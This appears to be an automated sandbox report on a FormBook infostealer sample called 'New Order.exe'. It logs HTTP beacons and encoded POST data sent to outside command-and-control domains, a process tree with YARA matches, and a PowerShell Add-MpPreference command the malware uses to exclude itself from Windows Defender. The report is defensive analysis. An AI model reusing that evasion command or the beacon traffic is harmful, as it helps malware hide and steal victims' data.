34 75 35 78 4a 33 65 36 61 53 4a 6a 32 43 56 46 35 67 4f 66 48 37 74 75 6e 4d 36 35 6f 66 6a 6a 4b 42 77 68 4c 48 65 69 65 66 38 52 4b 54 35 2b 4c 44 50 36 37 59 54 36 73 34 42 2b 45 37 71 31 66 62 6a 39 4d 43 69 31 33 46 47 48 47 6e 79 38 67 64 4d 6a 74 68 51 44 52 33 58 62 74 2f 59 70 6b 51 46 34 50 72 36 49 42 2f 63 69 66 37 43 2f 6d 52 62 38 53 47 75 34 2f 37 64 79 76 48 6f 72 69 34 50 4f 37 41 51 47 38 68 6b 50 77 7a 39 6e 71 70 2b 6e 68 68 35 [TRUNCATED] Data Ascii: u6nP_F48=qt078Az7Ir899KWT/8c2mfG0Z0nx221qjaAG4xmlcW82jy5sbN5vE1IIU1dokxyKw3JAQfXQdUhpQmRO85NVjRtsaeiXOnNZ/yjw81piQ6vKStBs6WNyE93RMEcJWB7GLofaeH7//cNS3QZ4smM+Cn8rmtic/CAkhCjF1tUqECufngBktn4u5xJ3e6aSJj2CVF5gOfH7tunM65ofjjKBwhLHeief8RKT5+LDP67YT6s4B+E7q1fbj9MCi13FGHGny8gdMjthQDR3Xbt/YpkQF4Pr6IB/cif7C/mRb8SGu4/7dyvHori4PO7AQG8hkPwz9nqp+nhh5zj8A5lzEhgKX8LDq4Bi2YLC9er5i3bXj8bJWj8z/9xbZK03GiKQ1s5pNjmYEgDzLe/ckO6L3meDBcygC9I//IEHvYtGklMjUBvdaBc2zBpjXY9Ai8zkPoZ6iVODe6BJxESK5PeW/lHZKNNID8BkO6MkL8z4bW4RTNdg4arkWS5+iTvPWU85+TsRDIltoYQj20TbCsCt+RUC4KQ2xJwPQvRl1HseALf+PNKrxrg9DL7YMQirtlwGuamZh/8zribI+RiueaxPUOIsi9apjz/vyclUF4oXhB5nIU+K3ndYTz7vynTtlOl590rfHQjah3GakyR/Mscu2nZHPpLX7ksyipzqxFr8RCvfmjxnuW7uycIMI7ZMAoX4i1l4t9WJscsd8MNWRurxC6beb+uBRYSO8bCBd+4whK817yDDz7DjcOH9egLyqk3wxD3ir+Iesla/KrAjkPrbcVfngRqKpdd4y/DGdsN7qxsKdqHfxXezA+SJDVUQQ3s10QgdY5gqNrfNok1aEnQodyBWQV6susPcbYaCsWFrGZ3wwD1GJ7+IVPnst6Iv/F3i5jfsuDsqO8fbpJ+VdE+VDu/YWLeQLeZu1Paw8qjnNLQon/YxlUVcHAK9q5KxwKHhxryl2YpWS6D8+fJS2BU33Has/I0zRL/FKWTgGDuhf4M5a2L [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	50059	85.159.66.93	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:41:33.384145021 CET	555	OUT	GET /8l49/?u6nP_F48=nvcb/0GPN54d2JGc++8p3dyReVT22F4rjpMi4BWXcGVVoAh+NvljRHAQbHtQixLLlmtkfcmDaBBvdXdVxLFdqzx8TquVI3FC1FmB8VJ2JKjVM5x76R9HEtDUYFAgHCOmYLPQQCg=&F8S0G=ul80rPhxFlR8lH HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.beythome.online Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Dec 3, 2024 14:41:34.704046011 CET	225	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.1 Date: Tue, 03 Dec 2024 13:41:34 GMT Content-Length: 0 Connection: close X-Rate-Limit-Limit: 5s X-Rate-Limit-Remaining: 19 X-Rate-Limit-Reset: 2024-12-03T13:41:39.4849300Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	50060	154.70.82.246	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:41:49.508117914 CET	824	OUT	POST /j7q9/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.conseilnsaftogo.org Content-Length: 213 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.conseilnsaftogo.org Referer: http://www.conseilnsaftogo.org/j7q9/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 4b 54 52 50 4f 30 58 76 70 5a 63 6c 6a 71 76 54 4d 4b 57 6b 48 57 36 48 2f 61 33 45 31 42 37 62 38 57 39 34 58 2f 4c 77 33 57 62 37 66 4c 2b 54 48 63 42 51 6c 77 56 67 66 76 6d 48 7a 6e 71 76 54 5a 70 37 4d 6a 55 2b 37 49 4d 43 33 6e 5a 4a 33 45 45 59 75 4f 36 53 74 61 38 6d 52 42 38 78 39 77 54 37 67 59 49 57 49 7a 72 63 75 73 53 69 4d 4f 49 67 30 52 69 4a 4d 65 38 38 49 6e 6d 68 4d 50 39 6e 4b 61 39 44 43 4e 62 48 5a 64 59 55 4c 4b 54 41 56 44 4b 59 31 68 48 73 4d 64 68 6b 4e 67 34 65 7a 62 4d 64 72 52 63 76 6b 46 51 70 6c 75 63 51 61 49 4c 41 43 39 6e 30 4e 44 44 71 43 79 57 5a 52 36 52 48 69 49 6c 46 Data Ascii: u6nP_F48=KTRPO0XvpZcljqvTMKWkHW6H/a3E1B7b8W94X/Lw3Wb7fL+THcBQlwVgfvmHznqvTZp7MjU+7IMC3nZJ3EEYuO6Sta8mRB8x9wT7gYIWIzrcusSiMOIg0RiJMe88InmhMP9nKa9DCNbHZdYULKTAVDKY1hHsMdhkNg4ezbMdrRcvkFQplucQaILAC9n0NDDqCyWZR6RHiIlF

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	50061	154.70.82.246	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:41:53.030522108 CET	848	OUT	POST /j7q9/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.conseilnsaftogo.org Content-Length: 237 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.conseilnsaftogo.org Referer: http://www.conseilnsaftogo.org/j7q9/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 4b 54 52 50 4f 30 58 76 70 5a 63 6c 69 4a 33 54 4c 73 65 6b 47 32 36 45 77 36 33 45 37 68 36 53 38 57 78 34 58 36 36 37 33 6c 2f 37 66 75 61 54 56 4e 42 51 6d 77 56 67 58 50 6e 4e 39 48 72 6a 54 5a 6c 64 4d 68 77 2b 37 49 6f 43 33 69 6c 4a 32 31 45 66 2f 4f 36 51 69 36 38 65 4a 68 38 78 39 77 54 37 67 5a 6f 6f 49 7a 7a 63 75 63 69 69 50 76 49 6a 71 42 69 49 50 65 38 38 43 33 6d 6c 4d 50 39 4a 4b 66 6c 6c 43 50 54 48 5a 63 6f 55 4b 66 6e 44 66 44 4b 65 32 52 47 54 48 63 55 61 55 67 6b 5a 2f 62 49 37 30 68 59 72 68 7a 4e 7a 35 64 63 7a 49 59 72 43 43 2f 2f 47 4e 6a 44 41 41 79 75 5a 44 74 64 67 74 38 41 6d 6a 73 47 4c 2b 64 57 6b 77 53 72 74 50 67 66 66 6c 75 78 45 47 67 3d 3d Data Ascii: u6nP_F48=KTRPO0XvpZcliJ3TLsekG26Ew63E7h6S8Wx4X6673l/7fuaTVNBQmwVgXPnN9HrjTZldMhw+7IoC3ilJ21Ef/O6Qi68eJh8x9wT7gZooIzzcuciiPvIjqBiIPe88C3mlMP9JKfllCPTHZcoUKfnDfDKe2RGTHcUaUgkZ/bI70hYrhzNz5dczIYrCC//GNjDAAyuZDtdgt8AmjsGL+dWkwSrtPgffluxEGg==
Dec 3, 2024 14:41:55.487888098 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 03 Dec 2024 13:41:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://conseilnsaftogo.org/wp-json/>; rel="https://api.w.org/" Data Raw: 33 66 30 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 63 6f 6e 73 65 69 6c 6e 73 61 66 74 6f 67 6f 2e 6f 72 67 2f 78 6d 6c 72 70 63 2e 70 68 70 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 09 3c 73 74 79 6c 65 3e 69 6d 67 3a 69 73 28 5b 73 69 7a 65 73 3d [TRUNCATED] Data Ascii: 3f0a<!DOCTYPE html><html lang="en-US"><head><meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta charset="UTF-8" /><link rel="profile" href="http://gmpg.org/xfn/11" /><link rel="pingback" href="http://conseilnsaftogo.org/xmlrpc.php"><meta name='robots' content='noindex, follow' /><style>img:is([sizes="auto" i], [sizes^="auto," i]) { contain-intrinsic-size: 3000px 1500px }</style>... This site is optimized with the Yoast SEO plugin v23.8 - https://yoast.com/wordpress/plugins/seo/ --><title>Page not found - NSAF - TOGO</title><meta property="og:locale" content="en_US" /><meta property="og:title" content="Page not found - NSAF - TOGO" /><meta property="og:site_name" content="NSAF - TOGO" /><script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"WebSite","@id":"https://conseilnsaftogo.org/
Dec 3, 2024 14:41:55.487917900 CET	1236	IN	Data Raw: 23 77 65 62 73 69 74 65 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 63 6f 6e 73 65 69 6c 6e 73 61 66 74 6f 67 6f 2e 6f 72 67 2f 22 2c 22 6e 61 6d 65 22 3a 22 4e 53 41 46 20 2d 20 54 4f 47 4f 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a Data Ascii: #website","url":"https://conseilnsaftogo.org/","name":"NSAF - TOGO","description":"Conseil de dialogue Togo-France","publisher":{"@id":"https://conseilnsaftogo.org/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"E
Dec 3, 2024 14:41:55.487931013 CET	1236	IN	Data Raw: 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 Data Ascii: rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="NSAF - TOGO » Feed" href="https://conseilnsaftogo.org/feed/" /><link rel="alternate" type="application/rss+xml" title="NSAF - T
Dec 3, 2024 14:41:55.488054991 CET	1236	IN	Data Raw: 29 7b 63 61 73 65 22 66 6c 61 67 22 3a 72 65 74 75 72 6e 20 6e 28 65 2c 22 5c 75 64 38 33 63 5c 75 64 66 66 33 5c 75 66 65 30 66 5c 75 32 30 30 64 5c 75 32 36 61 37 5c 75 66 65 30 66 22 2c 22 5c 75 64 38 33 63 5c 75 64 66 66 33 5c 75 66 65 30 66 Data Ascii: ){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\uddfa\ud83c\uddf3","\ud83c\uddfa\u200b\ud83c\uddf3")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb
Dec 3, 2024 14:41:55.488126040 CET	896	IN	Data Raw: 74 61 6d 70 2b 36 30 34 38 30 30 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 2e 73 75 70 70 6f 72 74 54 65 73 74 73 29 72 65 74 75 72 6e 20 65 2e 73 75 70 70 6f 72 74 54 65 73 74 73 7d 63 61 74 63 68 28 65 29 7b 7d 72 65 74 75 72 Data Ascii: tamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{v
Dec 3, 2024 14:41:55.488140106 CET	1236	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 7d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3b 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 7c 7c 28 6e 2e 72 65 61 64 79 43 61 6c 6c 62 61 Data Ascii: (function(){return e}).then(function(){var e;n.supports.everything\|\|(n.readyCallback(),(e=n.source\|\|{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);/* ... */<
Dec 3, 2024 14:41:55.488152981 CET	1236	IN	Data Raw: 2b 20 32 70 78 29 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 31 32 35 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 66 69 6c 65 5f 5f 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 33 32 33 37 33 63 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 74 65 78 74 Data Ascii: + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}</style><style id='global-styles-inline-css' type='text/css'>:root{--wp--preset--aspect-ratio--square: 1;--wp--preset--aspect-ratio--4-3: 4/3
Dec 3, 2024 14:41:55.488167048 CET	1236	IN	Data Raw: 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 61 6d 62 65 72 2d 74 6f 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 61 28 32 35 32 2c 31 38 35 Data Ascii: luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%);--w
Dec 3, 2024 14:41:55.488666058 CET	1236	IN	Data Raw: 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 73 6d 61 6c 6c 3a 20 31 33 70 78 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 6d 65 64 69 75 6d 3a 20 32 30 70 78 3b 2d 2d 77 70 2d 2d Data Ascii: ;--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing
Dec 3, 2024 14:41:55.488682032 CET	1236	IN	Data Raw: 68 61 73 2d 62 6c 61 63 6b 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 62 6c 61 63 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 63 79 61 6e 2d 62 6c 75 69 73 Data Ascii: has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-col
Dec 3, 2024 14:41:55.608159065 CET	1236	IN	Data Raw: 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 77 68 69 74 65 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 70 61 6c 65 2d 70 69 6e 6b 2d Data Ascii: olor{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--viv

Target ID:	1
Start time:	08:37:43
Start date:	03/12/2024
Path:	C:\Users\user\Desktop\New Order.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\New Order.exe"
Imagebase:	0xb20000
File size:	764'928 bytes
MD5 hash:	8EF36959A2CEDC10C4C6036C2360E105
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	5
Start time:	08:37:44
Start date:	03/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\New Order.exe"
Imagebase:	0xea0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	08:37:44
Start date:	03/12/2024
Path:	C:\Users\user\Desktop\New Order.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\New Order.exe"
Imagebase:	0x430000
File size:	764'928 bytes
MD5 hash:	8EF36959A2CEDC10C4C6036C2360E105
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	7
Start time:	08:37:44
Start date:	03/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	08:37:44
Start date:	03/12/2024
Path:	C:\Users\user\Desktop\New Order.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\New Order.exe"
Imagebase:	0xcc0000
File size:	764'928 bytes
MD5 hash:	8EF36959A2CEDC10C4C6036C2360E105
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.2489286072.00000000016B0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.2486160123.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.2490425395.0000000002620000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Target ID:	13
Start time:	08:38:08
Start date:	03/12/2024
Path:	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe"
Imagebase:	0x750000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000D.00000002.4633944997.0000000002F00000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	14
Start time:	08:38:10
Start date:	03/12/2024
Path:	C:\Windows\SysWOW64\w32tm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\w32tm.exe"
Imagebase:	0xbf0000
File size:	92'672 bytes
MD5 hash:	E55B6A057FDDD35A7380FB2C6811A8EC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000E.00000002.4629567782.0000000000950000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000E.00000002.4633862013.0000000002DB0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000E.00000002.4633798417.0000000002D60000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Target ID:	17
Start time:	08:38:23
Start date:	03/12/2024
Path:	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe"
Imagebase:	0x750000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000011.00000002.4636187188.0000000005250000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	19
Start time:	08:38:37
Start date:	03/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true